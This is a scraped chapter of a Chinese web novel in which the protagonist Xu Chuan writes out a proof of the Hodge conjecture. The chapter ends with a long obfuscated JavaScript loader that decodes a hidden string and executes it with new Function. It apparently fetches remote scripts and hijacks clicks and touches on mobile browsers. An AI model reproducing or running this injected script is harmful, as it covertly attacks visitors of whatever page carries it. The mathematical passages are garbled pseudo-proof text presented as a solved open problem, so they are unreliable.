第一百八十五章 证明霍奇猜想!(1 / 2)

和德利涅请了个假后,徐川起身走出了宿舍。

在正式进入霍奇猜想这个未知的领域前,他还有很多工作要做。无论是生活上的,还是数学上的。

解决霍奇猜想,就像是人类第一次航行于茫茫大海一样,谁也不知道在未知的海洋中是否还有其他的陆地,谁也不知道是否能顺利抵达另一处海岸线。

他唯一拥有的,就是一条刚刚打造出来的小船。

而这条小船,在进入未知的海洋后,是否会被风浪掀翻,是否会沉入海底,是否会触礁卡住无法动弹,徐川也不知道。

但尽管如此,他依旧要去尝试。

因为哪怕是仅仅只航行出去十米,那也是伟大的突破。

.......

在商店中采购了一批生活物资后,徐川又从燧石图书馆中借阅了一批有关霍奇猜想的手稿与资料。

有一部分是他之前看过的,还有一部分则是尚未翻阅的。

这些都是前人留下的珍贵知识,而且有一些在网络上根本就搜不到。因为它们只是某个数学家的一些想法和原理论,并未成型。

这些东西,不管看没看过,对于他向霍奇猜想发起冲锋都很有用。

不过在借阅这些东西的时候,他遇到了个不小的麻烦。

管理燧石图书馆的是一个看起来不修边幅的糟老头子,这个头发乱糟糟像个鸟窝的糟老头是纸质资料领域保存的顶级专家,但也异常的固执。

而这个固执的老头始终不愿意对外借出这么多文献,认为他很有可能损坏或者遗失这些珍贵的稿纸。

为了获得这批资料,徐川在燧石图书馆磨了一天,最终的努力也不过是让对方同意将其放到一起在图书馆中翻阅而已。

但对于徐川而言,在图书馆中证明霍奇猜想是条并不怎么靠谱的路。

这里虽然很安静,但每天都人来人往的。

没办法,最终他只能找到普林斯顿数学院的院长戴维·修,作出了一系列的保证,并学习了纸质资料的一些保存方法,甚至签下了一份保证书,才勉强让对方同意。

带着繁多的资料,徐川重新回到宿舍中。

其实不用那个来自日耳曼的糟老头提醒,他也会好好的保护好这些东西的。

不过现在,除了好好的保存外,对于这些资料而言,更大的价值是在霍奇猜想上发挥出自己的作用。

想必当初创造出这些知识的数学家肯定也是这样想的。

对于一名学者来说,没人愿意看到自己创造出来的知识被束之高阁,如果一项知识不能流传被运用,对于知识而言,它没有任何的价值。

.......

处理好进入霍奇猜想前的准备,徐川再度将自己锁在了宿舍中。

时间就这样的流逝着,眨眼间,十月金秋到来,洛克菲勒住宿学院外的糖槭、梧桐等树木开始泛起一丝金黄。偶尔有几片落叶随风缓缓飘落。

三零六号宿舍中,一道人影站在窗前,望向外面的挂满了悬铃果实的悬铃木。

清晨的日出在墨蓝色的云霞里透亮,窗外金黄色和深绿色的树叶交织在一起,沉甸甸的悬铃果镶嵌其中。

望着窗外的风景,徐川脸上挂着笑容。

秋季,是丰收的季节。

尽管针对霍奇猜想的研究并非如他预想中的那般一帆风顺,但对于最终的结果,他始终充满了信心。

而两个月的时间过去,在霍奇猜想这片未知的海洋中,他终于找到了一片出现在眼前的海岸线。

那是新大陆!

望着窗外的风景,徐川面带笑容的转身回到了桌前。

尽管霍奇猜想还未完美的解决,但他已经看到了那条海岸相交的地平线,看到了那座耸立在天际的新大陆。

剩下的,就是努力的将自己的小船划过去了。

.....

拾起桌上的圆珠笔,徐川在此前未写完地方提笔继续:

“......设v是复射影空间中的一个代数簇,vˊ是v的正则点组成的集合。vˊ上相对于fubini-study度量的l?2-derham上同调群与v的交叉上同调群是同构的.....”

“若y是x的定义在k上余维数为j的闭子代数簇,我们有标准映射:tr:h2(n?j)(y?kk,q`)(n?j)→q`......这里(n?j)是??q`(n?j)。

这个映射与限制映射:h2(n?j)(x?kk,q`)(n?j)→h2(n?j)(y,q`)(n?j)”

“........”

“根据poincar′e对偶定理:hom(h2(n?j)(x?kk,q`)(n?j),q`)~=h2j(x?kk,q`)(j)......“

.......

时间一点一点的在他的笔下流逝,徐川全神贯注的将自己投入到了最后的突破上。

最终,他手中的笔锋蓦然一转。

“.....基于映射tr、限制映射和poincar′e,对偶定理都与gal(k/k)的作用相容,所以gal(k/k)在y定义的上同调类上的作用也平凡。则aj(x)是h2j(x?kk,q`)(j)中由x的余维数为j的定义在k上的闭子代数簇的上同调类生成的q向量空间.......”

这章没有结束^.^,请点击下一页继续阅读!

“当i≤n/2时,ai(x)nker(l?n?2i1)上的二次型x→(?1)il?r?2i(x.x)是正定的。“

“由此,可得,在非奇异复射影代数簇上,任一霍奇类均是代数闭链类的有理线性组合。”

“即,霍奇猜想成立!”

手中圆珠笔在洁白的稿纸上点下最后一个圆点,徐川长舒了一口气,将手中的圆珠笔丢到了一旁,身子往后一躺,靠在了椅背上盯着天花板愣愣的发呆。

当最后一个字符在稿纸上落下的时候,他心里涌出的并不是兴奋,不是高兴,也不是满足感和成就感。

而是带着一些不可置信的迷茫。

耗去长达四个多月的时间,从米尔扎哈尼教授遗留给他的手稿开始,到‘微分代数簇的不可缩分解’问题的解决,再到代数簇与群映射工具的完善,到最后的霍奇猜想的解决。

在这条路上,他经历了太多。

盯着天花板良久,徐川终于回过神来,目光落在了身前书桌上的稿纸上。

将所有的稿纸完整的过了一遍,确定这真的是自己的做出来的成果后,他脸上终于露出了璀璨的笑容,明朗如窗外透进来的阳光。

如果没有意外的话,他,成功了。

成功解决掉了霍奇猜想这个世纪难题。

这是自1924年数学家来夫谢茨对于(1,1)类的霍奇猜想证明后,和霍奇猜想相关的问题最重要的突破。

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();